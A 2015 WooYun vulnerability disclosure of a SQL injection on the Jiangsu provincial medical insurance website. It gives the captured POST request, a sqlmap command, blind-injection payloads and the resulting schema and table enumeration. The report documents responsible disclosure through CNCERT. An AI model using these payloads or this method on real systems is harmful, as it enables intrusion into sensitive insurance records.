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缺陷编号：wooyun-2015-0105272

漏洞标题：某省医保中心SQL注入(影响28w单位用户信息)

相关厂商：江苏省医疗保险基金管理中心

漏洞作者： 路人甲

提交时间：2015-04-03 09:52

修复时间：2015-05-23 08:06

公开时间：2015-05-23 08:06

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-03： 细节已通知厂商并且等待厂商处理中
2015-04-08： 厂商已经确认，细节仅向厂商公开
2015-04-18： 细节向核心白帽子及相关领域专家公开
2015-04-28： 细节向普通白帽子公开
2015-05-08： 细节向实习白帽子公开
2015-05-23： 细节向公众公开

简要描述：

某省医保中心SQL注入 涉及重要敏感信息

详细说明：

江苏省医保中心SQL注入

1.png


POST /jsyb/FindKey HTTP/1.1
Host: www.js.lss.gov.cn
Proxy-Connection: keep-alive
Content-Length: 127
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.js.lss.gov.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.js.lss.gov.cn/jsyb/UserMag_findkey_commit.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: fadedin=no; cod=411.320; csd=417; BIGipServerwebpool1=536889354.20480.0000; JSESSIONID=CVKTVcRQxJbTV7W8Fv4Y3GPTGHfsMP7rWvL2tQHV4gm4KnZYGv2s!-200015031
Name=qwe321&Question=%C4%E3%D4%DA%C4%C4%CB%F9%D6%D0%D1%A7%B6%C1%B3%F5%D6%D0%A3%BF&Answer=qwe321&button=%D5%D2%BB%D8%C3%DC%C2%EB


post注入 sqlmap

C:\Python27>python sqlmap/sqlmap.py -r C:\Users\Administrator\Desktop\1.txt --db
s
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:31:17
[16:31:17] [INFO] parsing HTTP request from 'C:\Users\Administrator\Desktop\1.tx
t'
[16:31:17] [INFO] resuming back-end DBMS 'oracle'
[16:31:17] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: Name
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: Name=qwe321' AND 5644=5644 AND 'nHkd'='nHkd&Question=%C4%E3%D4%DA%C
4%C4%CB%F9%D6%D0%D1%A7%B6%C1%B3%F5%D6%D0%A3%BF&Answer=qwe321&button=%D5%D2%BB%D8
%C3%DC%C2%EB
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind (heavy query)
    Payload: Name=qwe321' AND 2311=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS
T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND 'cnHf'='cnHf&Question=%C4%E3%D4%D
A%C4%C4%CB%F9%D6%D0%D1%A7%B6%C1%B3%F5%D6%D0%A3%BF&Answer=qwe321&button=%D5%D2%BB
%D8%C3%DC%C2%EB
---
[16:31:17] [INFO] the back-end DBMS is Oracle
web application technology: Nginx
back-end DBMS: Oracle
[16:31:17] [WARNING] schema names are going to be used on Oracle for enumeration
 as the counterpart to database names on other DBMSes
[16:31:17] [INFO] fetching database (schema) names
[16:31:17] [INFO] fetching number of databases
[16:31:17] [INFO] resumed: 26
[16:31:17] [INFO] resumed: CTXSYS
[16:31:17] [INFO] resumed: HR
[16:31:17] [INFO] resumed: JSJYDEV
[16:31:17] [INFO] resumed: JSYB
[16:31:17] [INFO] resumed: MDSYS
[16:31:17] [INFO] resumed: ODM
[16:31:17] [INFO] resumed: ODM_MTR
[16:31:17] [INFO] resumed: OE
[16:31:17] [INFO] resumed: OLAPSYS
[16:31:17] [INFO] resumed: ORDSYS
[16:31:17] [INFO] resumed: OUTLN
[16:31:17] [INFO] resumed: PM
[16:31:17] [INFO] resumed: QS
[16:31:17] [INFO] resumed: QS_CBADM
[16:31:17] [INFO] resumed: QS_CS
[16:31:17] [INFO] resumed: QS_ES
[16:31:17] [INFO] resumed: QS_OS
[16:31:17] [INFO] resumed: QS_WS
[16:31:17] [INFO] resumed: SCOTT
[16:31:17] [INFO] resumed: SH
[16:31:17] [INFO] resumed: SYS
[16:31:17] [INFO] resumed: SYSTEM
[16:31:17] [INFO] resumed: TRSWCM
[16:31:17] [INFO] resumed: WKSYS
[16:31:17] [INFO] resumed: WMSYS
[16:31:17] [INFO] resumed: XDB
available databases [26]:
[*] CTXSYS
[*] HR
[*] JSJYDEV
[*] JSYB
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] TRSWCM
[*] WKSYS
[*] WMSYS
[*] XDB


漏洞证明：

Database: JSYB
+---------------------------+---------+
| Table                     | Entries |
+---------------------------+---------+
| FEEDIARY                  | 4904495 |
| WEB_CHKLOG                | 479274  |
| WEB_AC01_CHGHIST          | 298353  |
| WEB_INSCHGINFOHIST        | 283985  |
| FEEDIARYSUM               | 188962  |
| WEB_INSBASEINFO           | 154901  |
| WEB_INSBASEINFO_2010      | 130657  |
| WZ_MEDINFO_FB             | 101509  |
| WEB_INSPICINFO            | 81023   |
| WEB_AC01                  | 80006   |
| MED_KA021                 | 73417   |
| INSINFOALL                | 66126   |
| WZ_MEDINFO                | 65961   |
| WZ_ITMINFO_GF             | 36944   |
| MED_KA021_20101015        | 36356   |
| MED_KA021_20090906        | 33013   |
| MED_KA021_BAK20120813     | 32563   |
| TY_SYMX                   | 16840   |
| MED_COMINFO               | 14266   |
| MED_USERS                 | 11526   |
| WEB_UNITDECLARE_LXBX_HIST | 7998    |
| WEB_UNITDECLARE_LXBX      | 7976    |
| WZ_HOSDRUGINFO            | 7169    |
| TMP_HOSID                 | 6625    |
| MED_KA021_20050803        | 5996    |
| WZ_ITMINFO_20140811       | 5973    |
| WEB_INSCHGINFO_2012       | 5889    |
| MED_USERS_REC             | 5751    |
| WZ_ITMINFO                | 5622    |
| WZ_ITMINFO_20141231       | 5613    |
| WZ_ITMINFO_20140930       | 5608    |
| WEB_INSLOSTCARD           | 5539    |
| WEB_AC01_CHG              | 5503    |
| WZ_ITM_TMP                | 5210    |
| TY_RYXX                   | 5170    |
| TY_TMPINSCOUNT            | 4261    |
| WEB_UNITCHGINFOHIST       | 4072    |
| TY_HOSINFO                | 3976    |
| MED_KA02                  | 3904    |
| WEB_INSCHGINFO_2011       | 3863    |
| WEB_INSCHGINFO_2014       | 3528    |
| TY_SYPG                   | 3403    |
| MED_KA021_20101108        | 3178    |
| MED_KA02_2005BAN          | 3156    |
| WEB_INSCHGINFO_2013       | 2972    |
| WEB_INSCHGINFO            | 2673    |
| WEB_AB05                  | 2656    |
| WEB_INSCHGINFO_00000339   | 2458    |
| WEB_INSLOSTINFOYEARHIS    | 1962    |
| WEB_INSCHGINFO_00000364   | 1751    |
| WEB_INSACCOUNTCHK         | 1674    |
| WEB_UNITLOAD              | 1652    |
| WEB_AB01_CHGHIST          | 1603    |
| WEB_UNITLOAD_BAK          | 1594    |
| MED_KA021_719             | 1259    |
| MED_KA02_200909ZCY        | 1015    |
| WEB_UNITBASEINFO          | 984     |
| WEB_INSCHGINFO_00000346   | 808     |
| WEB_UNITDECLARE           | 755     |
| WEB_INSCHGINFO_00000353   | 703     |
| WEB_AB01                  | 638     |
| WEB_RPTUNITINFO           | 636     |
| MED_KA021_FHDY            | 630     |
| WEB_RPTUNITINFO_2010      | 604     |
| WEB_UNITBUDGET            | 571     |
| WEB_UNITBUDGET_201301     | 566     |
| WEB_INSCHGINFO_00000363   | 537     |
| WEB_UNITBUDGET_2010       | 506     |
| CLK_KA020                 | 500     |
| CLK_KA020_BAK             | 500     |
| WEB_GSCS                  | 491     |
| WZ_MEDNJYBCATA            | 473     |
| WZ_MEDCATA_FB             | 468     |
| TMP_GSCS                  | 464     |
| MED_KA020                 | 451     |
| WEB_INSCHGINFO_SGDR       | 433     |
| MED_KA021_FH              | 387     |
| WZ_MEDCATA                | 354     |
| WEB_AB05PRE               | 334     |
| WZ_ITMCATA                | 312     |
| WZ_ITMCATA_GF             | 312     |
| MED_KA021_BUF             | 256     |
| PARAM_INS                 | 234     |
| MED_KA022                 | 230     |
| PARAM_UNIT                | 212     |
| PARAM_OTR                 | 203     |
| WEB_INSCHGINFO_00000351   | 202     |
| TY_DYB                    | 161     |
| TY_ZRYS                   | 152     |
| MED_M1_1                  | 146     |
| CMP_ZCFG                  | 145     |
| TY_AAB301                 | 140     |
| WEB_UNITCHGINFO_2013      | 103     |
| PARAM_GUIDE               | 100     |
| HOSINFO                   | 96      |
| WEB_UNITCHGINFO_2012      | 84      |
| CLK_SYS_PARAMS            | 70      |
| OPERATOR                  | 63      |
| BG_DWZFHD_HIS             | 62      |
| TY_ZRYS_IMP               | 51      |
| WEB_UNITCHGINFO_2011      | 39      |
| WZ_HOSDRUGCATA            | 39      |
| WEB_INSBASEINFO_20141124  | 34      |
| TMP_DELSEQID              | 31      |
| BG_DWZFHD                 | 30      |
| MED_COMINFO_BUF           | 30      |
| TY_ADMINUSER              | 29      |
| WEB_TYCS                  | 26      |
| PARAM_CHAR                | 24      |
| MED_COMINFO_BAK           | 23      |
| CMP_HOSIMG                | 20      |
| MED_IMPINFO               | 20      |
| WEB_UNITCHGINFO_2014      | 20      |
| PARAM_NUM                 | 19      |
| WEB_AC01_CHG20140630      | 19      |
| WEB_ARTICLE               | 16      |
| WEB_INSLOSTINFO           | 15      |
| CLK_COMINFO               | 14      |
| PARAM_JOB                 | 13      |
| CMP_JGSZ                  | 12      |
| CLK_USER                  | 11      |
| TMP_GSCS12                | 11      |
| WEB_GSSALARY              | 11      |
| WZ_CENTERCATA             | 11      |
| CMP_BSZN                  | 10      |
| WJ_TEST_MESSAGE           | 9       |
| BG_DWZFHD_BAK             | 8       |
| CLK_ITEM                  | 8       |
| TY_MEDINFO                | 8       |
| CMP_MLCX                  | 7       |
| PARAM_DECLARETYPE         | 7       |
| PARAM_HOSFITTYPE          | 7       |
| MED_AKA115                | 6       |
| MED_KA02_DEL              | 6       |
| WEB_AC01_CHG2014          | 6       |
| WEB_UNITCHGINFO           | 6       |
| CMP_ZCFG_KIND             | 4       |
| CMP_BSZN_KIND             | 3       |
| MED_KA021_BAK             | 3       |
| TY_ICD                    | 3       |
| CMP_ZXJS                  | 2       |
| MED_COMINFODEL            | 2       |
| WEB_ARTICLE_CLASS         | 2       |
| WEB_INSLOSTCARDHIST       | 1       |
+---------------------------+---------+


搜狗截图20150401210205.png


搜狗截图20150401210315.png


涉及全省重要信息 不敢乱来 拒绝查水表

修复方案：

过滤参数

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-04-08 08:04

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给江苏分中心，由其后续协调网站管理单位处置。按信息泄露风险评分，rank 15

最新状态：

暂无

漏洞评价：

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